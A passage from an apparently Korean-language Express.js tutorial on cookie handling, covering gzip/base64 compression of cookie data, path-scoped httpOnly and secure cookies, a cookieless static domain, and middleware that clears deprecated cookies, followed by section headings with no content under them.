  const compressed = zlib.gzipSync(json);
  return compressed.toString('base64');
}

function decompressCookie(compressed) {
  const buffer = Buffer.from(compressed, 'base64');
  const decompressed = zlib.gunzipSync(buffer);
  return JSON.parse(decompressed.toString());
}

// 사용
const compressed = compressCookie(userData);
res.cookie('data', compressed, {
  httpOnly: true,
  secure: true
});

캐싱 전략

// 정적 리소스용 별도 도메인
// static.example.com (쿠키 없음)
// api.example.com (쿠키 있음)

// 특정 경로에만 쿠키 전송
res.cookie('adminSession', sessionId, {
  path: '/admin',  // /admin 경로에서만 전송
  httpOnly: true,
  secure: true
});

// API 전용 쿠키
res.cookie('apiToken', token, {
  path: '/api',  // /api 경로에서만 전송
  httpOnly: true,
  secure: true
});

// 주기적으로 오래된 쿠키 삭제
app.use((req, res, next) => {
  // 사용하지 않는 쿠키 삭제
  const unusedCookies = ['old_session', 'deprecated_token'];
  
  unusedCookies.forEach(name => {
    if (req.cookies[name]) {
      res.clearCookie(name);
    }
  });
  
  next();
});

🎓 학습 리소스 및 도구

추천 학습 자료

유용한 도구들

실습 프로젝트 아이디어

🎯 마무리 및 핵심 요약

다음 단계

마지막 당부